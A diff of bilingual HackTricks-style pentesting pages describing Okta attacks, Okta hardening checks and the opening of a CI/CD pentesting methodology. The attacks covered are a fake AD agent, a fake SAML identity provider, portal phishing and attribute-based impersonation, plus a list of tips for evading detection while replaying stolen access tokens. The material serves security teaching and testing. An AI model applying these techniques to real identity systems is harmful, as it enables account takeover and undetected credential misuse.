Ця техніка передбачає викрадення агента AD Okta, спочатку отримавши код OAuth, а потім запитуючи токен API. Токен пов'язаний з доменом AD, і **конектор називається для створення фальшивого агента AD**. Ініціалізація дозволяє агенту **обробляти спроби автентифікації**, захоплюючи облікові дані через API Okta. Доступні автоматизаційні інструменти для спрощення цього процесу, пропонуючи безперешкодний метод перехоплення та обробки даних автентифікації в середовищі Okta.
|
||||
This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment.
|
||||
|
||||
**Перевірте атаку в** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Фальшивий постачальник SAML Okta
|
||||
### Okta Fake SAML Provider
|
||||
|
||||
**Перевірте атаку в** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
Техніка передбачає **розгортання фальшивого постачальника SAML**. Інтегруючи зовнішнього постачальника ідентичності (IdP) в рамках Okta за допомогою привілейованого облікового запису, зловмисники можуть **контролювати IdP, схвалюючи будь-який запит на автентифікацію на свій розсуд**. Процес передбачає налаштування SAML 2.0 IdP в Okta, маніпулювання URL для одноразового входу IdP для перенаправлення через локальний файл hosts, генерацію самопідписаного сертифіката та налаштування параметрів Okta для відповідності імені користувача або електронній пошті. Успішне виконання цих кроків дозволяє автентифікуватися як будь-який користувач Okta, обходячи необхідність унікальних облікових даних користувача, значно підвищуючи контроль доступу в потенційно непомітний спосіб.
|
||||
The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner.
|
||||
|
||||
### Фішинг порталу Okta з Evilgnix
|
||||
### Phishing Okta Portal with Evilgnix
|
||||
|
||||
У [**цьому блозі**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) пояснюється, як підготувати кампанію фішингу проти порталу Okta.
|
||||
In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal.
|
||||
|
||||
### Атака на підроблення колеги
|
||||
### Colleague Impersonation Attack
|
||||
|
||||
**Атрибути, які може мати та змінювати кожен користувач** (такі як електронна пошта або ім'я) можуть бути налаштовані в Okta. Якщо **додаток** довіряє як ID **атрибуту**, який користувач може **змінити**, він зможе **видавати себе за інших користувачів на цій платформі**.
|
||||
The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**.
|
||||
|
||||
Отже, якщо додаток довіряє полю **`userName`**, ви, ймовірно, не зможете його змінити (оскільки зазвичай не можна змінити це поле), але якщо він довіряє, наприклад, **`primaryEmail`**, ви можете змінити його на електронну адресу колеги та видати себе за нього (вам потрібно буде мати доступ до електронної пошти та прийняти зміну).
|
||||
Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change).
|
||||
|
||||
Зверніть увагу, що це підроблення залежить від того, як був налаштований кожен додаток. Лише ті, що довіряють полю, яке ви змінили, і приймають оновлення, будуть скомпрометовані.\
|
||||
Отже, додаток повинен мати це поле увімкненим, якщо воно існує:
|
||||
Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\
|
||||
Therefore, the app should have this field enabled if it exists:
|
||||
|
||||
<figure><img src="../../images/image (175).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Я також бачив інші додатки, які були вразливими, але не мали цього поля в налаштуваннях Okta (в кінці кінців, різні додатки налаштовуються по-різному).
|
||||
I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently).
|
||||
|
||||
Найкращий спосіб дізнатися, чи можете ви видати себе за когось у кожному додатку, - це спробувати це!
|
||||
The best way to find out if you could impersonate anyone on each app would be to try it!
|
||||
|
||||
## Уникнення політик виявлення поведінки <a href="#id-9fde" id="id-9fde"></a>
|
||||
## Evading behavioural detection policies <a href="#id-9fde" id="id-9fde"></a>
|
||||
|
||||
Політики виявлення поведінки в Okta можуть бути невідомими до їх зустрічі, але **обхід** їх можна досягти, **націлюючись безпосередньо на додатки Okta**, уникаючи основної панелі управління Okta. З **токеном доступу Okta** повторно використовуйте токен на **URL конкретного додатка Okta** замість основної сторінки входу.
|
||||
Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page.
|
||||
|
||||
Ключові рекомендації включають:
|
||||
Key recommendations include:
|
||||
|
||||
- **Уникайте використання** популярних анонімізуючих проксі та VPN-сервісів при повторному використанні захоплених токенів доступу.
|
||||
- Переконайтеся, що **рядки user-agent** між клієнтом і повторно використаними токенами доступу є послідовними.
|
||||
- **Уникайте повторного використання** токенів від різних користувачів з однієї IP-адреси.
|
||||
- Будьте обережні при повторному використанні токенів проти панелі управління Okta.
|
||||
- Якщо ви знаєте IP-адреси компанії жертви, **обмежте трафік** до цих IP-адрес або їх діапазону, блокуючи весь інший трафік.
|
||||
- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens.
|
||||
- Ensure **consistent user-agent strings** between the client and replayed access tokens.
|
||||
- **Refrain from replaying** tokens from different users from the same IP address.
|
||||
- Exercise caution when replaying tokens against the Okta dashboard.
|
||||
- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic.
|
||||
|
||||
## Укріплення Okta
|
||||
## Okta Hardening
|
||||
|
||||
Okta має багато можливих конфігурацій, на цій сторінці ви знайдете, як їх перевірити, щоб вони були максимально безпечними:
|
||||
Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible:
|
||||
|
||||
{{#ref}}
|
||||
okta-hardening.md
|
||||
{{#endref}}
|
||||
|
||||
## Посилання
|
||||
## References
|
||||
|
||||
- [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers)
|
||||
- [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,72 +6,72 @@
|
||||
|
||||
### People
|
||||
|
||||
З точки зору атакуючого це дуже цікаво, оскільки ви зможете побачити **всіх зареєстрованих користувачів**, їх **електронні** адреси, **групи**, до яких вони належать, **профілі** та навіть **пристрої** (мобільні разом з їх ОС).
|
||||
From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs).
|
||||
|
||||
Для огляду whitebox перевірте, щоб не було кількох "**Очікує дії користувача**" та "**Скидання пароля**".
|
||||
For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**".
|
||||
|
||||
### Groups
|
||||
|
||||
Тут ви знайдете всі створені групи в Okta. Цікаво зрозуміти різні групи (набори **дозволів**), які можуть бути надані **користувачам**.\
|
||||
Можна побачити **людей, включених до груп** та **додатки, призначені** кожній групі.
|
||||
This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\
|
||||
It's possible to see the **people included inside groups** and **apps assigned** to each group.
|
||||
|
||||
Звичайно, будь-яка група з назвою **admin** є цікавою, особливо група **Глобальні адміністратори**, перевірте учасників, щоб дізнатися, хто є найбільш привілейованими членами.
|
||||
Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members.
|
||||
|
||||
З точки зору огляду whitebox, **не повинно бути більше 5 глобальних адміністраторів** (краще, якщо їх буде лише 2 або 3).
|
||||
From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3).
|
||||
|
||||
### Devices
|
||||
|
||||
Знайдіть тут **список усіх пристроїв** усіх користувачів. Ви також можете побачити, чи він **активно керується** чи ні.
|
||||
Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not.
|
||||
|
||||
### Profile Editor
|
||||
|
||||
Тут можна спостерігати, як ключова інформація, така як імена, прізвища, електронні адреси, імена користувачів... обмінюється між Okta та іншими додатками. Це цікаво, оскільки, якщо користувач може **модифікувати в Okta поле** (таке як його ім'я або електронна адреса), яке потім використовується **зовнішнім додатком** для **ідентифікації** користувача, зловмисник може спробувати **взяти під контроль інші облікові записи**.
|
||||
Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**.
|
||||
|
||||
Більше того, у профілі **`User (default)`** з Okta ви можете побачити **які поля** має кожен **користувач** і які з них є **доступними для запису** користувачами. Якщо ви не можете побачити панель адміністратора, просто перейдіть до **оновлення інформації про свій профіль** і ви побачите, які поля ви можете оновити (зверніть увагу, що для оновлення електронної адреси вам потрібно буде її підтвердити).
|
||||
Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it).
|
||||
|
||||
### Directory Integrations
|
||||
|
||||
Довідники дозволяють імпортувати людей з існуючих джерел. Я думаю, тут ви побачите користувачів, імпортованих з інших довідників.
|
||||
Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories.
|
||||
|
||||
Я цього не бачив, але вважаю, що це цікаво дізнатися **інші довідники, які Okta використовує для імпорту користувачів**, тому якщо ви **компрометуєте цей довідник**, ви могли б встановити деякі значення атрибутів у користувачів, створених в Okta, і **можливо, скомпрометувати середовище Okta**.
|
||||
I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**.
|
||||
|
||||
### Profile Sources
|
||||
|
||||
Джерело профілю - це **додаток, який діє як джерело правди** для атрибутів профілю користувача. Користувач може бути джерелом лише з одного додатка або довідника одночасно.
|
||||
A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time.
|
||||
|
||||
Я цього не бачив, тому будь-яка інформація про безпеку та хакерство щодо цієї опції буде вдячно прийнята.
|
||||
I haven't seen it, so any information about security and hacking regarding this option is appreciated.
|
||||
|
||||
## Customizations
|
||||
|
||||
### Brands
|
||||
|
||||
Перевірте на вкладці **Domains** цього розділу електронні адреси, які використовуються для надсилання електронних листів, та власний домен всередині Okta компанії (який ви, напевно, вже знаєте).
|
||||
Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know).
|
||||
|
||||
Більше того, на вкладці **Setting**, якщо ви адміністратор, ви можете "**Використовувати власну сторінку виходу**" і встановити власне URL.
|
||||
Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL.
|
||||
|
||||
### SMS
|
||||
|
||||
Тут нічого цікавого.
|
||||
Nothing interesting here.
|
||||
|
||||
### End-User Dashboard
|
||||
|
||||
Тут ви можете знайти налаштовані додатки, але ми розглянемо деталі цих пізніше в іншому розділі.
|
||||
You can find here applications configured, but we will see the details of those later in a different section.
|
||||
|
||||
### Other
|
||||
|
||||
Цікава настройка, але нічого надто цікавого з точки зору безпеки.
|
||||
Interesting setting, but nothing super interesting from a security point of view.
|
||||
|
||||
## Applications
|
||||
|
||||
### Applications
|
||||
|
||||
Тут ви можете знайти всі **налаштовані додатки** та їх деталі: Хто має доступ до них, як вони налаштовані (SAML, OpenID), URL для входу, відображення між Okta та додатком...
|
||||
Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application...
|
||||
|
||||
На вкладці **`Sign On`** також є поле під назвою **`Password reveal`**, яке дозволяє користувачу **показати свій пароль** при перевірці налаштувань додатка. Щоб перевірити налаштування додатка з панелі користувача, натисніть на 3 крапки:
|
||||
In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots:
|
||||
|
||||
<figure><img src="../../images/image (283).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
І ви зможете побачити деякі деталі про додаток (наприклад, функцію показу пароля, якщо вона увімкнена):
|
||||
And you could see some more details about the app (like the password reveal feature, if it's enabled):
|
||||
|
||||
<figure><img src="../../images/image (220).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -79,121 +79,124 @@
|
||||
|
||||
### Access Certifications
|
||||
|
||||
Використовуйте сертифікації доступу для створення аудиторських кампаній для періодичного перегляду доступу ваших користувачів до ресурсів та автоматичного затвердження або відкликання доступу, коли це необхідно.
|
||||
Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required.
|
||||
|
||||
Я цього не бачив, але вважаю, що з точки зору захисту це гарна функція.
|
||||
I haven't seen it used, but I guess that from a defensive point of view it's a nice feature.
|
||||
|
||||
## Security
|
||||
|
||||
### General
|
||||
|
||||
- **Електронні листи з повідомленнями про безпеку**: Усі повинні бути увімкнені.
|
||||
- **Інтеграція CAPTCHA**: Рекомендується встановити принаймні невидимий reCaptcha
|
||||
- **Безпека організації**: Усе може бути увімкнено, а електронні листи активації не повинні затримуватися довго (7 днів - це нормально)
|
||||
- **Запобігання перерахуванню користувачів**: Обидва повинні бути увімкнені
|
||||
- Зверніть увагу, що запобігання перерахуванню користувачів не діє, якщо дозволено будь-яку з наступних умов (Див. [Управління користувачами](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) для отримання додаткової інформації):
|
||||
- Самообслуговування реєстрації
|
||||
- JIT потоки з електронною аутентифікацією
|
||||
- **Налаштування Okta ThreatInsight**: Логувати та забезпечувати безпеку на основі рівня загрози
|
||||
- **Security notification emails**: All should be enabled.
|
||||
- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha
|
||||
- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok)
|
||||
- **User enumeration prevention**: Both should be enabled
|
||||
- Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information):
|
||||
- Self-Service Registration
|
||||
- JIT flows with email authentication
|
||||
- **Okta ThreatInsight settings**: Log and enforce security based on threat level
|
||||
|
||||
### HealthInsight
|
||||
|
||||
Тут можна знайти правильно та **небезпечні** налаштовані **налаштування**.
|
||||
Here is possible to find correctly and **dangerous** configured **settings**.
|
||||
|
||||
### Authenticators
|
||||
|
||||
Тут ви можете знайти всі методи аутентифікації, які може використовувати користувач: Пароль, телефон, електронна пошта, код, WebAuthn... Натискаючи на аутентифікатор пароля, ви можете побачити **політику паролів**. Перевірте, щоб вона була сильною.
|
||||
Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong.
|
||||
|
||||
На вкладці **Enrollment** ви можете побачити, які з них є обов'язковими або необов'язковими:
|
||||
In the **Enrollment** tab you can see how the ones that are required or optinal:
|
||||
|
||||
<figure><img src="../../images/image (143).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Рекомендується вимкнути телефон. Найсильнішими, ймовірно, є комбінація пароля, електронної пошти та WebAuthn.
|
||||
It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn.
|
||||
|
||||
### Authentication policies
|
||||
|
||||
Кожен додаток має політику аутентифікації. Політика аутентифікації перевіряє, що користувачі, які намагаються увійти в додаток, відповідають певним умовам, і забезпечує вимоги до факторів на основі цих умов.
|
||||
Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions.
|
||||
|
||||
Тут ви можете знайти **вимоги для доступу до кожного додатка**. Рекомендується вимагати принаймні пароль та інший метод для кожного додатка. Але якщо ви, як атакуючий, знайдете щось більш слабке, ви можете спробувати атакувати його.
|
||||
Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it.
|
||||
|
||||
### Global Session Policy
|
||||
|
||||
Тут ви можете знайти політики сесій, призначені різним групам. Наприклад:
|
||||
Here you can find the session policies assigned to different groups. For example:
|
||||
|
||||
<figure><img src="../../images/image (245).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Рекомендується вимагати MFA, обмежити тривалість сесії на кілька годин, не зберігати куки сесії через розширення браузера та обмежити місцезнаходження та постачальника ідентичності (якщо це можливо). Наприклад, якщо кожен користувач повинен входити з певної країни, ви могли б дозволити лише це місцезнаходження.
|
||||
It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location.
|
||||
|
||||
### Identity Providers
|
||||
|
||||
Постачальники ідентичності (IdPs) - це служби, які **керують обліковими записами користувачів**. Додавання IdPs в Okta дозволяє вашим кінцевим користувачам **самостійно реєструватися** з вашими власними додатками, спочатку аутентифікуючись за допомогою соціального облікового запису або смарт-карти.
|
||||
Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card.
|
||||
|
||||
На сторінці постачальників ідентичності ви можете додати соціальні входи (IdPs) та налаштувати Okta як постачальника послуг (SP), додавши вхідний SAML. Після того, як ви додали IdPs, ви можете налаштувати правила маршрутизації, щоб направляти користувачів до IdP на основі контексту, такого як місцезнаходження користувача, пристрій або домен електронної пошти.
|
||||
On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain.
|
||||
|
||||
**Якщо будь-який постачальник ідентичності налаштований** з точки зору атакуючого та захисника, перевірте цю конфігурацію та **чи є джерело дійсно надійним**, оскільки атакуючий, що компрометує його, також може отримати доступ до середовища Okta.
|
||||
**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment.
|
||||
|
||||
### Delegated Authentication
|
||||
|
||||
Делегована аутентифікація дозволяє користувачам входити в Okta, вводячи облікові дані для сервера **Active Directory (AD) або LDAP** своєї організації.
|
||||
Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server.
|
||||
|
||||
Знову ж таки, перевірте це, оскільки атакуючий, що компрометує AD організації, може мати можливість перейти до Okta завдяки цій настройці.
|
||||
Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting.
|
||||
|
||||
### Network
|
||||
|
||||
Мережева зона - це налаштовувана межа, яку ви можете використовувати для **надання або обмеження доступу до комп'ютерів і пристроїв** у вашій організації на основі **IP-адреси**, яка запитує доступ. Ви можете визначити мережеву зону, вказавши одну або кілька окремих IP-адрес, діапазони IP-адрес або географічні місця.
|
||||
A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations.
|
||||
|
||||
Після того, як ви визначите одну або кілька мережевих зон, ви можете **використовувати їх у глобальних політиках сесій**, **політиках аутентифікації**, сповіщеннях VPN та **правилах маршрутизації**.
|
||||
After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**.
|
||||
|
||||
З точки зору атакуючого цікаво знати, які IP дозволені (і перевірити, чи є якісь **IP більш привілейованими** за інших). З точки зору атакуючого, якщо користувачі повинні отримувати доступ з певної IP-адреси або регіону, перевірте, чи правильно використовується ця функція.
|
||||
From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly.
|
||||
|
||||
### Device Integrations
|
||||
|
||||
- **Управління кінцевими точками**: Управління кінцевими точками - це умова, яка може бути застосована в політиці аутентифікації, щоб забезпечити, що керовані пристрої мають доступ до додатка.
|
||||
- Я цього ще не бачив. TODO
|
||||
- **Служби сповіщень**: Я цього ще не бачив. TODO
|
||||
- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application.
|
||||
- I haven't seen this used yet. TODO
|
||||
- **Notification services**: I haven't seen this used yet. TODO
|
||||
|
||||
### API
|
||||
|
||||
Ви можете створити токени API Okta на цій сторінці та побачити ті, які були **створені**, їх **привілеї**, **час закінчення** та **URL-адреси джерела**. Зверніть увагу, що токени API генеруються з правами користувача, який створив токен, і дійсні лише якщо **користувач**, який їх створив, є **активним**.
|
||||
You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**.
|
||||
|
||||
**Довірені джерела** надають доступ до веб-сайтів, які ви контролюєте та довіряєте для доступу до вашої організації Okta через API Okta.
|
||||
The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API.
|
||||
|
||||
Не повинно бути багато токенів API, оскільки, якщо їх багато, атакуючий може спробувати отримати до них доступ і використовувати їх.
|
||||
There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them.
|
||||
|
||||
## Workflow
|
||||
|
||||
### Automations
|
||||
|
||||
Автоматизації дозволяють створювати автоматизовані дії, які виконуються на основі набору умов тригера, які виникають під час життєвого циклу кінцевих користувачів.
|
||||
Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users.
|
||||
|
||||
Наприклад, умовою може бути "Неактивність користувача в Okta" або "Закінчення терміну дії пароля користувача в Okta", а дією може бути "Надіслати електронний лист користувачу" або "Змінити стан життєвого циклу користувача в Okta".
|
||||
For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta".
|
||||
|
||||
## Reports
|
||||
|
||||
### Reports
|
||||
|
||||
Завантажте журнали. Вони **надсилаються** на **електронну адресу** поточного облікового запису.
|
||||
Download logs. They are **sent** to the **email address** of the current account.
|
||||
|
||||
### System Log
|
||||
|
||||
Тут ви можете знайти **журнали дій, виконаних користувачами**, з великою кількістю деталей, таких як вхід в Okta або в додатки через Okta.
|
||||
Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta.
|
||||
|
||||
### Import Monitoring
|
||||
|
||||
Це може **імпортувати журнали з інших платформ**, доступних через Okta.
|
||||
This can **import logs from the other platforms** accessed with Okta.
|
||||
|
||||
### Rate limits
|
||||
|
||||
Перевірте досягнуті обмеження швидкості API.
|
||||
Check the API rate limits reached.
|
||||
|
||||
## Settings
|
||||
|
||||
### Account
|
||||
|
||||
Тут ви можете знайти **загальну інформацію** про середовище Okta, таку як назва компанії, адреса, **електронна адреса для виставлення рахунків**, **електронна адреса технічного контакту** та також хто повинен отримувати оновлення Okta і які види оновлень Okta.
|
||||
Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates.
|
||||
|
||||
### Downloads
|
||||
|
||||
Тут ви можете завантажити агенти Okta для синхронізації Okta з іншими технологіями.
|
||||
Here you can download Okta agents to sync Okta with other technologies.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Pentesting CI/CD Методологія
|
||||
# Pentesting CI/CD Methodology
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
## VCS
|
||||
|
||||
VCS означає **система контролю версій (Version Control System)**, ця система дозволяє розробникам **керувати своїм вихідним кодом**. Найпоширеніша — **git**, і зазвичай ви знайдете компанії, що використовують її на одній з наступних **платформ**:
|
||||
VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**:
|
||||
|
||||
- Github
|
||||
- Gitlab
|
||||
@@ -18,93 +18,86 @@ VCS означає **система контролю версій (Version Contr
|
||||
|
||||
## CI/CD Pipelines
|
||||
|
||||
CI/CD pipelines дають змогу розробникам **автоматизувати виконання коду** для різних цілей — збірки, тестування та деплою додатків. Ці автоматизовані робочі процеси **тригеряться певними діями**, такими як code pushes, pull requests або заплановані завдання. Вони корисні для оптимізації процесу від розробки до продакшн.
|
||||
CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production.
|
||||
|
||||
Однак такі системи потрібно **виконувати десь**, зазвичай з **привілейованими обліковими даними** для деплою коду або доступу до чутливої інформації.
|
||||
However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**.
|
||||
|
||||
## VCS Pentesting Methodology
|
||||
|
||||
> [!NOTE]
|
||||
> Навіть якщо деякі VCS платформи дозволяють створювати pipelines, у цьому розділі ми будемо аналізувати лише потенційні атаки на контроль за вихідним кодом.
|
||||
> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
|
||||
|
||||
Платформи, що містять вихідний код вашого проєкту, містять чутливу інформацію, тому потрібно дуже уважно ставитися до дозволів, наданих у цій платформі. Ось деякі поширені проблеми у VCS платформах, якими нападник може зловживати:
|
||||
Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse:
|
||||
|
||||
- **Leaks**: Якщо ваш код містить leaks у комітах і нападник має доступ до репо (бо воно публічне або він має доступ), він може виявити ці leaks.
|
||||
- **Access**: Якщо нападник може **доступитися до акаунту на VCS платформі**, він може отримати **більшу видимість і дозволи**.
|
||||
- **Register**: Деякі платформи просто дозволяють зовнішнім користувачам створювати акаунт.
|
||||
- **SSO**: Деякі платформи не дозволяють реєстрацію, але дозволяють будь-кому зайти з валідним SSO (наприклад, нападник може використати свій github акаунт, щоб увійти).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... існує кілька типів токенів, які користувач може вкрасти, щоб отримати доступ до репозиторію.
|
||||
- **Webhooks**: VCS платформи дозволяють генерувати webhooks. Якщо вони **не захищені** невидимими секретами, **нападник може ними зловживати**.
|
||||
- Якщо секрету немає, нападник може зловживати webhook третьої сторони.
|
||||
- Якщо секрет знаходиться в URL, відбувається те саме і нападник також отримує секрет.
|
||||
- **Code compromise:** Якщо зловмисник має якийсь вид **write** доступу до репозиторіїв, він може спробувати **впровадити шкідливий код**. Щоб це зробити, можливо, доведеться **обійти branch protections**. Ці дії можуть виконуватися з різними цілями:
|
||||
- Скомпрометувати main branch, щоб **скомпрометувати production**.
|
||||
- Скомпрометувати main (або інші гілки), щоб **скомпрометувати машини розробників** (оскільки вони зазвичай виконують тестування, terraform чи інше в репо на своїх машинах).
|
||||
- **Compromise the pipeline** (див. наступний розділ)
|
||||
- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
|
||||
- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**.
|
||||
- **Register**: Some platforms will just allow external users to create an account.
|
||||
- **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo.
|
||||
- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**.
|
||||
- If no secret is in place, the attacker could abuse the webhook of the third party platform
|
||||
- If the secret is in the URL, the same happens and the attacker also have the secret
|
||||
- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid:
|
||||
- Compromise the main branch to **compromise production**.
|
||||
- Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines).
|
||||
- **Compromise the pipeline** (check next section)
|
||||
|
||||
## Pipelines Pentesting Methodology
|
||||
|
||||
Найпоширеніший спосіб визначити pipeline — використовувати **CI configuration file, розміщений у репозиторії**, який будує pipeline. Цей файл описує порядок виконуваних jobs, умови, що впливають на потік, та налаштування середовища збірки.\
|
||||
Ці файли зазвичай мають послідовну назву та формат, наприклад — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), і YAML-файли GitHub Actions під .github/workflows. Після тригера job pipeline **пулить код** із вибраного джерела (наприклад, commit / branch) і **виконує команди, вказані в CI configuration file**, проти цього коду.
|
||||
